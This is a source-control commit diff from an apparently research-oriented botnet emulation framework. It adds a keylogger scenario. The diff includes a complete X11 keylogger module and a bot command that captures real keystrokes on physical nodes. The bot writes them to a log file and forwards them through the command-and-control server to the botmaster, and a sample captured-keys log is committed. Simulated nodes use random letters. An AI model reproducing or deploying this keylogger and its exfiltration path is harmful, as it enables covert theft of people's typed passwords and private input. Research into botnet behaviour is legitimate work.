Joshua Bonsink avatar Joshua Bonsink committed 629e11e

Added new scenario and fixed some bugs

Comments (0)

Files changed (19)

core/cmd/command.py

         """"""
         self.event = 'add_address'
         self.addresses = ''
+
+class MsgFromClientToBotCmd(object):
+    
+    """"""
+    
+    def __init__(self):
+        """"""
+        self.event = 'send_to_botmaster'
+        self.botmaster_event = 'echo'
+        self.msg = ''
+        self.msg = ''

core/nodes/client.py

 """This file defines the Client Command Meta Description"""
+import jsonpickle
 
 from core.cmd import CMD
 from core.cmd.description import ClientDescription
+from core.cmd.command import MsgFromClientToBotCmd
 
 class ClientCMD(CMD):
     
         self.logger.info("receive echo message, [%s]" % (data.msg))
         print '-->', data.msg
 
+    def send_to_server(self, msg):
+        """Forward data to botmaster"""
+        print "sending to server"
+        
+        data = MsgFromClientToBotCmd()        
+        data.msg = msg
+        
+        self.node.send(self.node.server_sock, jsonpickle.encode(data))
+
     def start(self):
         """
         

core/nodes/server.py

             if self.node.sockets[sock]['type'] == 'client':
                 if self.node.sockets[sock]['addr'] == data.addr: 
                     self.node.send(sock, jsonpickle.encode(new_data))
-            
+    
+    def send_to_botmaster(self, sock, data):
+        """Forward data to botmaster"""
+        print "forwarding to botmaster"
+        new_data = copy.deepcopy(data)
+        new_data.event = data.botmaster_event
+        del new_data.botmaster_event
+        
+        self.node.send(self.node.master_sock, jsonpickle.encode(new_data))
+                
     def disconnect(self):
         """Log a disconnect request."""
         self.logger.info('receive disconnect request')

core/ns3/experiment/experiment.py

         CLIENT_DESC = scen.config.Client()
         
         #When in netns3 mode set a node in the network as the target of the attack        
-        if self.target_id is not None:
-            if self.get_node(self.target_id).NODE_TYPE == 'sim_ns3':
-                target_ip = self.get_node(self.target_id).GetObject(ns3.TypeId.LookupByName("ns3::Ipv4")).GetAddress(1, 0).GetLocal()            
-                BOTMASTER_DESC.command.hostname = str(target_ip)
-            elif self.get_node(self.target_id).NODE_TYPE == 'real_ns3':
+        try:
+            if self.target_id is not None:
+                if self.get_node(self.target_id).NODE_TYPE == 'sim_ns3':
+                    target_ip = self.get_node(self.target_id).GetObject(ns3.TypeId.LookupByName("ns3::Ipv4")).GetAddress(1, 0).GetLocal()            
+                    BOTMASTER_DESC.command.hostname = str(target_ip)
+                elif self.get_node(self.target_id).NODE_TYPE == 'real_ns3':
+                    BOTMASTER_DESC.command.hostname = BOTMASTER_DESC.server_address
+        except AttributeError:
+            try:
                 BOTMASTER_DESC.command.hostname = BOTMASTER_DESC.server_address
+            except AttributeError:
+                pass
         
         if srv_addr is not None:
             BOTMASTER_DESC.server_address = srv_addr

core/ns3/node/imalse_netns_node.py

+import random
+import string
 import sys
+import time
 
 from core.real.node import PhysicalNode
 from core.ns3.util.netns3 import NetnsNode
     def stop_ping(self, sock):
         print 'stop_ping'
 
-
+    def start_keylogger(self, duration):
+        now = time.time()
+        done = lambda: time.time() > now + duration
+        
+        log = ''
+        
+        while not done():
+            time.sleep(.5)
+            log += random.choice(string.ascii_letters)
+        
+        self.cmd_set.send_to_server(log)

core/ns3/node/imalse_netns_sim_node.py

 import mimetypes
-import struct
+import random
+import string
+import time
+
 import jsonpickle
-import socket
 
 from core.nodes.base_node import BaseNode
 import ns3
         ns3.Node.__init__(self)
         self.sockets = SocketDict()
         self.sleep_delay = 0
+        self.server_sock = None
 
     @property
     def client_socks(self):
                 )
 
         def connect_succeeded(sock):            
-            print('Node [%s] connect succeeded'%(self.name) )            
+            print('Node [%s] connect succeeded'%(self.name) )     
+            self.server_sock = sock
             self.after(0, self.recv, sock, 512, self.dispatcher)
 
         def connect_failed(sock):
         print 'File [%s] has been uploaded to ftp %s'%(f, host)
 
     #################################
-    ###       Webserver         ###
+    ###       Webserver           ###
     #################################
     def start_webservice(self):
         sock = ns3.Socket.CreateSocket(self, self.proto_map['tcp'])
         helper.SetAttribute("Size", ns3.UintegerValue(data.packet_size))     
         helper.SetAttribute("Verbose", ns3.BooleanValue(data.verbose))
                
-        helper.Install(self)
+        helper.Install(self)
+    
+    def start_keylogger(self, duration):
+        count = 0        
+        log = ''
+        while count < 100:                        
+            log += random.choice(string.ascii_letters)
+            count += 1            
+         
+        print "Log done"
+        self.cmd_set.send_to_server(log)

core/real/node.py

 import threading
 import time
 import struct
-
+    
+from core.real.pykeylogger.keylogger import log as keylog
 from core.real.jedie_python_ping.ping import verbose_ping
 
 __all__ = ['PhysicalNode']
         
         return None
     
+    @property 
+    def server_sock(self):
+        """Return the server socket."""
+        for sock, val in self.sockets.iteritems():
+            if val['type'] == 'server': return sock
+            
+        return None
     @property
     def client_socks(self):
         """Return an array containing the client sockets."""
     #################################
     ###       Application         ###
     #################################
+    def dispatcher(self, sock, data):
+        """Initialize the dispatcher."""
+        self.cmd_set.dispatcher(sock, data)
+    
+    def stop_app(self, sock, app_name):
+        """Stop the threads performing the pings."""
+        if app_name == 'ping':
+            self.pings[sock].stop()
+            del self.pings[sock]
+    
     def ping(self, sock, data, threaded=False):
         """Send ping traffic to hosts.
         
         ftp.storbinary('STOR %s'%(os.path.basename(data)), open(data, 'rb'))
         self.sleep(0.1)
         print 'upload file finish %s' % (data)
-
-    def stop_app(self, sock, app_name):
-        """Stop the threads performing the pings."""
-        if app_name == 'ping':
-            self.pings[sock].stop()
-            del self.pings[sock]
-
-    def dispatcher(self, sock, data):
-        """Initialize the dispatcher."""
-        self.cmd_set.dispatcher(sock, data)
         
     def get_checksum(self, msg):
         """
             print "something went wrong when sending an email to '%s'" % (address)
             
         """
-        mailServer.close()
+        mailServer.close()        
+    
+    def read_file(self, filename):
+        with open(filename, "r") as f:
+            return f.read()
+            
+    def start_keylogger(self, duration):
+        now = time.time()
+        done = lambda: time.time() > now + duration
+                
+        def print_keys(t, modifiers, keys): 
+            f = open("./scenario/keylogger/keys.log", "a")           
+            f.write("%r\n" % (keys))            
+            f.close()
+            print "writing file done"
+        
+        def finished():
+            self.cmd_set.send_to_server(self.read_file("./scenario/keylogger/keys.log"))       
+            
+        keylog(done, print_keys, finished)        
Add a comment to this file

core/real/pykeylogger/__init__.py

Empty file added.

core/real/pykeylogger/keylogger.py

+# Copyright (c) 2011, Andrew Moffat
+# All rights reserved.
+
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+#     * Redistributions of source code must retain the above copyright
+#       notice, this list of conditions and the following disclaimer.
+#     * Redistributions in binary form must reproduce the above copyright
+#       notice, this list of conditions and the following disclaimer in the
+#       documentation and/or other materials provided with the distribution.
+#     * Neither the name of the <organization> nor the
+#       names of its contributors may be used to endorse or promote products
+#       derived from this software without specific prior written permission.
+
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
+# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+import sys
+from time import sleep, time
+import ctypes as ct
+from ctypes.util import find_library
+
+
+# linux only!
+assert("linux" in sys.platform)
+
+
+x11 = ct.cdll.LoadLibrary(find_library("X11"))
+display = x11.XOpenDisplay(None)
+
+
+# this will hold the keyboard state.  32 bytes, with each
+# bit representing the state for a single key.
+keyboard = (ct.c_char * 32)()
+
+# these are the locations (byte, byte value) of special
+# keys to watch
+shift_keys = ((6,4), (7,64))
+modifiers = {
+    "left shift": (6,4),
+    "right shift": (7,64),
+    "left ctrl": (4,32),
+    "right ctrl": (13,2),
+    "left alt": (8,1),
+    "right alt": (13,16)
+}
+last_pressed = set()
+last_pressed_adjusted = set()
+last_modifier_state = {}
+caps_lock_state = 0
+
+# key is byte number, value is a dictionary whose
+# keys are values for that byte, and values are the
+# keys corresponding to those byte values
+key_mapping = {
+    1: {
+        0b00000010: "<esc>",
+        0b00000100: ("1", "!"),
+        0b00001000: ("2", "@"),
+        0b00010000: ("3", "#"),
+        0b00100000: ("4", "$"),
+        0b01000000: ("5", "%"),
+        0b10000000: ("6", "^"),
+    },
+    2: {
+        0b00000001: ("7", "&"),
+        0b00000010: ("8", "*"),
+        0b00000100: ("9", "("),
+        0b00001000: ("0", ")"),
+        0b00010000: ("-", "_"),
+        0b00100000: ("=", "+"),
+        0b01000000: "<backspace>",
+        0b10000000: "<tab>",
+    },
+    3: {
+        0b00000001: ("q", "Q"),
+        0b00000010: ("w", "W"),
+        0b00000100: ("e", "E"),
+        0b00001000: ("r", "R"),
+        0b00010000: ("t", "T"),
+        0b00100000: ("y", "Y"),
+        0b01000000: ("u", "U"),
+        0b10000000: ("i", "I"),
+    },
+    4: {
+        0b00000001: ("o", "O"),
+        0b00000010: ("p", "P"),
+        0b00000100: ("[", "{"),
+        0b00001000: ("]", "}"),
+        0b00010000: "<enter>",
+        #0b00100000: "<left ctrl>",
+        0b01000000: ("a", "A"),
+        0b10000000: ("s", "S"),
+    },
+    5: {
+        0b00000001: ("d", "D"),
+        0b00000010: ("f", "F"),
+        0b00000100: ("g", "G"),
+        0b00001000: ("h", "H"),
+        0b00010000: ("j", "J"),
+        0b00100000: ("k", "K"),
+        0b01000000: ("l", "L"),
+        0b10000000: (";", ":"),
+    },
+    6: {
+        0b00000001: ("'", "\""),
+        0b00000010: ("`", "~"),
+        #0b00000100: "<left shift>",
+        0b00001000: ("\\", "|"),
+        0b00010000: ("z", "Z"),
+        0b00100000: ("x", "X"),
+        0b01000000: ("c", "C"),
+        0b10000000: ("v", "V"),
+    },
+    7: {
+        0b00000001: ("b", "B"),
+        0b00000010: ("n", "N"),
+        0b00000100: ("m", "M"),
+        0b00001000: (",", "<"),
+        0b00010000: (".", ">"),
+        0b00100000: ("/", "?"),
+        #0b01000000: "<right shift>",
+    },
+    8: {
+        #0b00000001: "<left alt>",
+        0b00000010: " ",
+        0b00000100: "<caps lock>",
+    },
+    13: {
+        #0b00000010: "<right ctrl>",
+        #0b00010000: "<right alt>",
+    },
+}
+
+
+
+
+def fetch_keys_raw():
+    x11.XQueryKeymap(display, keyboard)
+    return keyboard
+
+
+
+def fetch_keys():
+    global caps_lock_state, last_pressed, last_pressed_adjusted, last_modifier_state
+    keypresses_raw = fetch_keys_raw()
+
+
+    # check modifier states (ctrl, alt, shift keys)
+    modifier_state = {}
+    for mod, (i, byte) in modifiers.iteritems():
+        modifier_state[mod] = bool(ord(keypresses_raw[i]) & byte)
+    
+    # shift pressed?
+    shift = 0
+    for i, byte in shift_keys:
+        if ord(keypresses_raw[i]) & byte:
+            shift = 1
+            break
+
+    # caps lock state
+    if ord(keypresses_raw[8]) & 4: caps_lock_state = int(not caps_lock_state)
+
+
+    # aggregate the pressed keys
+    pressed = []
+    for i, k in enumerate(keypresses_raw):
+        o = ord(k)
+        if o:
+            for byte,key in key_mapping.get(i, {}).iteritems():
+                if byte & o:
+                    if isinstance(key, tuple): key = key[shift or caps_lock_state]
+                    pressed.append(key)
+
+    
+    tmp = pressed
+    pressed = list(set(pressed).difference(last_pressed))
+    state_changed = tmp != last_pressed and (pressed or last_pressed_adjusted)
+    last_pressed = tmp
+    last_pressed_adjusted = pressed
+
+    if pressed: pressed = pressed[0]
+    else: pressed = None
+
+
+    state_changed = last_modifier_state and (state_changed or modifier_state != last_modifier_state)
+    last_modifier_state = modifier_state
+
+    return state_changed, modifier_state, pressed
+
+
+
+
+def log(done, callback, finished_callback, sleep_interval=.005):
+    while not done():
+        sleep(sleep_interval)
+        changed, modifiers, keys = fetch_keys()
+        if changed: callback(time(), modifiers, keys)
+    
+    finished_callback()
+
+
+if __name__ == "__main__":
+    now = time()
+    done = lambda: time() > now + 60
+    def print_keys(t, modifiers, keys): print "%r   %r" % (keys, modifiers)
+
+    log(done, print_keys)

experiments/complex_net_exp.py

         **IP_MASK**:
 
         """
+       
         
         # botnet related configuration
         self.server_id_set = ns['server_id_set']

net_config/aro_demo/nf_net_settings.py

 client_id_set = [ 2, 3, 4, 5, 6 ]
 server_id_set = [ 8 ]
 server_addr = [  ]
+target_id = 8

scenario/keylogger/__init__.py

+"""Initialize file_exfiltration."""
+
+from scenario.keylogger.client_cmd import ClientCMD
+from scenario.keylogger.server_cmd import ServerCMD
+from scenario.keylogger.botmaster import BotMaster

scenario/keylogger/botmaster.py

+"""
+
+This file contains the BotMaster Command Meta Description for the file
+exfiltration scenario.
+
+"""
+import jsonpickle 
+
+from core.nodes.botmaster import BotMasterOneCMD
+from scenario.keylogger.config import Botmaster as BotmasterDescription
+
+class BotMaster(BotMasterOneCMD):
+    
+    """This class is a subclass of BotMasterOneCMD."""
+    
+    def __init__(self, desc=None):
+        """Initialize."""
+        if desc == None:
+            desc = BotmasterDescription()
+        
+        BotMasterOneCMD.__init__(self, desc )
+    
+    def recv_ack(self):
+        """
+        
+        After receiving the ack from the server, the BotMaster will send 
+        the master password to verify itself with the server. After that, 
+        the server will send out commands periodically.
+        
+        """
+        self.logger.debug('Botmaster one command recv_ack has been recorded')
+        self.node.send(self.sock, jsonpickle.encode(self.verification_command))
+
+        # Sleep for a while to make sure it has been verified
+        self.node.sleep(self.desc.interval)
+                  
+        self.node.send(self.sock, jsonpickle.encode(self.desc.command))
+        self.node.recv(self.sock, 512, self.dispatcher)

scenario/keylogger/client_cmd.py

+"""
+
+This file contains the Client Command Meta Description for the file
+exfiltration scenario.
+
+"""
+
+import re
+
+from core.real.node import PhysicalNode
+from core.nodes.client import ClientCMD as CCMD
+from scenario.keylogger.config import Client as ClientDescription
+
+MAX_NUM = 100
+
+class ClientCMD(CCMD):
+    
+    """This class is a subclass of ClientCMD."""
+    
+    def __init__(self, desc=None):
+        """Initialize."""
+        if desc == None:
+            desc = ClientDescription()
+        CCMD.__init__(self, desc)
+        self.ftp_info = None
+        self.file_filter = None
+        
+    def keylog(self, sock, data):
+        self.node.start_keylogger(data.duration)

scenario/keylogger/config.py

+"""
+
+This file is used to configure the botmaster, clients and server in the file
+exfiltration scenario.
+
+"""
+
+from core.cmd.description import ServerDescription, ClientDescription 
+from core.cmd.description import BotmasterDescription 
+
+class Botmaster(BotmasterDescription):
+    
+    """
+    
+    This class is the subclass of the default botmaster description. The
+    default settings are:
+    
+    server_address = '127.0.0.1'
+    server_port = 3333
+    request_timeout = 10
+    initial = 'waiting'
+    start_action = 'request_connect'
+    self.master_password = '1234'
+    self.interval = 2 
+    self.num_commands = 1
+    self.command = None
+    
+    """
+    
+    def __init__(self):
+        """Initialize the botmaster description."""
+        BotmasterDescription.__init__(self)
+        self.command = KeylogCMD()
+
+class Client(ClientDescription):
+    
+    """
+    
+    This class is the subclass of the default client description. The
+    default settings are:
+    
+    server_address = '127.0.0.1'
+    server_port = 3333
+    request_timeout = 10    
+    initial = 'waiting'
+    start_action = 'initialize'
+    self.master_password = '1234'
+    
+    """
+    
+    def __init__(self):
+        """Initialize the client description."""
+        ClientDescription.__init__(self)
+        
+class Server(ServerDescription):
+    
+    """
+    
+    This class is the subclass of the default client description. The
+    default settings are:
+    
+    server_address = '127.0.0.1'
+    server_port = 3333
+    request_timeout = 10    
+    initial = 'waiting'
+    start_action = 'initialize'
+    
+    """
+    
+    def __init__(self):
+        """
+        
+        Initialize the server description. The member variable interval defines
+        the interval length between the distribution of the different commands.
+        
+        """
+        ServerDescription.__init__(self)
+        self.interval = 2
+        
+class KeylogCMD(object):
+   
+    """
+    
+    This class specifies the ping command that is send to the bots connected
+    with the server.
+    
+    """
+    
+    def __init__(self):
+        """Specify the settings here."""
+        self.event = 'forward_to_bots'
+        self.bot_event = 'keylog'
+        self.duration = 60

scenario/keylogger/keys.log

+'k'
+'j'
+'h'
+'g'
+'f'
+'g'
+None
+'f'
+'h'
+'j'
+'h'
+'g'
+'f'
+'j'
+'h'
+'f'
+'g'
+None
+'j'
+'h'
+'f'
+'g'
+'j'
+'h'
+'f'
+'g'
+'j'
+'h'
+'f'
+'g'
+'n'
+'u'
+'<enter>'

scenario/keylogger/server_cmd.py

+"""
+
+This file contains the Server Command Meta Description for the file 
+exfiltration scenario.
+
+"""
+
+import jsonpickle
+
+from core.nodes.server import ServerCMD as SCMD
+from scenario.keylogger.config import Server as ServerDescription
+
+class ServerCMD(SCMD):
+    
+    """This class is a subclass of ServerCMD."""
+    
+    def __init__(self, desc=None):
+        """Initialize"""
+        if desc == None:
+            desc = ServerDescription()
+        
+        SCMD.__init__(self, desc)
+        self.sleep_duriation = desc.interval
+
+    

scenario/spamming/server_cmd.py

     def recv_request_conn(self, client_sock, address):
         """Callback when connection request from a new bot is received."""
         self.logger.info('receive request from addr: %s'%(str(address)))
-        self.node.send(client_sock, 'connect_ack')        
+        self.node.send(client_sock, 'connect_ack')   
         self.node.recv(client_sock, 512, self.node.dispatcher, threaded=True)
         
         if self.node.master_sock != None:            
 
 def parse_arguments():
     """Parse the command line arguments and specify the help strings."""
-    parser.add_argument('-e', '--experiment', default='TopoExperiment',
+    parser.add_argument('-e', '--experiment', default='topo_exp',
         help='specify the experiment. Available experiments are [%s]'\
         % (" |").join(exper_options))
     parser.add_argument('--mode', default='sim',
Tip: Filter by directory path e.g. /media app.js to search for public/media/app.js.
Tip: Use camelCasing e.g. ProjME to search for ProjectModifiedEvent.java.
Tip: Filter by extension type e.g. /repo .js to search for all .js files in the /repo directory.
Tip: Separate your search with spaces e.g. /ssh pom.xml to search for src/ssh/pom.xml.
Tip: Use ↑ and ↓ arrow keys to navigate and return to view the file.
Tip: You can also navigate files with Ctrl+j (next) and Ctrl+k (previous) and view the file with Ctrl+o.
Tip: You can also navigate files with Alt+j (next) and Alt+k (previous) and view the file with Alt+o.